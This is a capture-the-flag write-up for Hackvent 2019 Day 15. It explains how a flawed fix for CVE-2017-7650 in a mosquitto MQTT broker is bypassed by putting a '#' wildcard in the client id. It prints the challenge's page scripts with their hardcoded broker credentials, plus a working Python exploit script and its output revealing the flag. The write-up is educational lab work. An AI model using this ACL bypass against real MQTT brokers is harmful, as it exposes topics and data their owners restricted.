Hackvent 2019: Day 15
Challenge
HV19.15 Santa's Workshop
Introduction
The Elves are working very hard.
Look at to see how busy they are.
Page snapshot:
Solution
NOTE: Unfortunately, the server for this challenge was broken for a long time and caused a lot of pain and suffering. In the end it took 6 hours longer than it needed to.
We land on a nice landing page with a counter which counts upwards. We do some snooping around to see what resources are used on the page and come across two Javascript files of interest.
config.js
var mqtt;
var reconnectTimeout = 100;
var host = 'whale.hacking-lab.com';
var port = 9001;
var useTLS = false;
var username = 'workshop';
var password = '2fXc7AWINBXyruvKLiX';
var clientid = localStorage.getItem("clientid");
if (clientid == null) {
clientid = ('' + (Math.round(Math.random() * 1000000000000000))).padStart(16, '0');
localStorage.setItem("clientid", clientid);
}
var topic = 'HV19/gifts/'+clientid;
// var topic = 'HV19/gifts/'+clientid+'/flag-tbd';
var cleansession = true;
mqtt.js
function MQTTconnect() {
if (typeof path == "undefined") {
path = '';
}
mqtt = new Paho.MQTT.Client(
host,
port,
path,
clientid
);
var options = {
timeout: 3,
keepAliveInterval: 60,
useSSL: useTLS,
cleanSession: cleansession,
onSuccess: onConnect,
onFailure: function (message) {
$('#status').val("Connection failed: " + message.errorMessage + "Retrying");
setTimeout(MQTTconnect, reconnectTimeout);
}
};
mqtt.onConnectionLost = onConnectionLost;
mqtt.onMessageArrived = onMessageArrived;
if (username != null) {
options.userName = username;
options.password = password;
}
mqtt.connect(options);
}
function onConnect() {
mqtt.subscribe(topic, {qos: 0});
}
function onConnectionLost(response) {
setTimeout(MQTTconnect, reconnectTimeout);
$('#alert').html('<div class="alert alert-warning" role="alert">Uhm.. somebody is currently messing with me. Try refreshing the page. I lost connection but why? ?</div>');
};
function onMessageArrived(message) {
//var topic = message.destinationName;
var payload = message.payloadString;
countUp.update(payload);
};
Basically, we are authenticating with a MQTT messaging service. We subscribe to the topic 'HV19/gifts/'+clientid
initially which returns the number of gifts made by the elves so far which increases by 1-3 every second or so:
7347836
7347839
7347842
7347843
7347846
7347849
7347850
7347853
We see a commented out topic 'HV19/gifts/'+clientid+'/flag-tbd'
but don't get anything when we subscribe to it. We have our client id which was initially 0395226010678529 in our local storage. We also decide to convert the calls on the page into a python script for ease of testing. After subscribing to the wildcard #
topic we don't see any extra messages but we do something interesting when subscribing to the $SYS/#
topic. We see the version of the MQTT server returned as:
mosquitto version 1.4.11 (We elves are super-smart and know about CVE-2017-7650 and the POC. So we made a genious fix you never will be able to pass. Hohoho)
We inspect the CVE-2017-7650 and find the following releases including some commits which patches the issue:
https://mosquitto.org/blog/2017/05/security-advisory-cve-2017-7650/
https://github.com/eclipse/mosquitto/commit/9af3c6958fe1b2c653a7952f6f144bcf6ecfbc0d
https://github.com/eclipse/mosquitto/commit/cd17ca45cd313dc00480091505f708858db73ee9
In short we are told:
Pattern based ACLs can be bypassed by clients that set their username/client id to '#' or '+'. This allows locally or remotely connected clients to access MQTT topics that they do have the rights to.
From the official patches we see the fix involves checking to see if the client_id
or username
contains the wildcard #
or +
symbols. If so, the connection is refused.
However, we notice that our client_id
is only rejected if it starts with a #
or +
symbol. Therefore the elves patch incorrectly used a string startswith check instead of a string contains check. Also we consider the commented out topic in config.js which is HV19/gifts/'+clientid+'/flag-tbd
and guess that the final flag will look something like this HV19/gifts/0395226010678529/HV19{flag_here}
. It seems like our user workshop does not have permissions to read from this topic even though its nested under our client id.
Therefore, we try the client id 0395226010678529/# which should match the flag topic name if we subscribe to all topics (i.e. subscribe to #
topic).
This is the script we ended up using:
# Hackvent 2019 - Day 15
# Mo Beigi (https://mobeigi.com)
import paho.mqtt.client as mqtt
def on_connect(client, userdata, flags, rc):
print("Connected to MQTT broker.\n\n")
client.subscribe('$SYS/#')
client.subscribe('#')
print("Waiting for messages...\n\n")
def on_message(client, userdata, msg):
print(str(msg.topic) + "\t" + str(msg.payload))
def exploit(host):
client = mqtt.Client(client_id='0395226010678529/#', clean_session=True, transport='websockets')
client.on_connect = on_connect
client.on_message = on_message
print("Connecting to MQTT broker on %s" % host)
client.username_pw_set('workshop', password='2fXc7AWINBXyruvKLiX')
client.connect(host, 9001, 60, '')
client.loop_forever()
exploit("whale.hacking-lab.com")
Running this spits out the following response which contains our flag as part of the topic name:
PS C:\Users\Mo\Desktop> py -3 .\spoilt.py
Connecting to MQTT broker on whale.hacking-lab.com
Connected to MQTT broker.
Waiting for messages...
$SYS/broker/version b'mosquitto version 1.4.11 (We elves are super-smart and know about CVE-2017-7650 and the POC. So we made a genious fix you never will be able to pass. Hohoho)'
HV19/gifts/0395226010678529/HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r} b'Congrats, you got it. The elves should not overrate their smartness!!!'
HV19/gifts/0395226010678529 b'7352550'
HV19/gifts/0395226010678529/HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r} b'Congrats, you got it. The elves should not overrate their smartness!!!'
HV19/gifts/0395226010678529 b'7352551'
HV19/gifts/0395226010678529/HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r} b'Congrats, you got it. The elves should not overrate their smartness!!!'
HV19/gifts/0395226010678529 b'7352551'
HV19/gifts/0395226010678529/HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r} b'Congrats, you got it. The elves should not overrate their smartness!!!'
Flag:
HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r}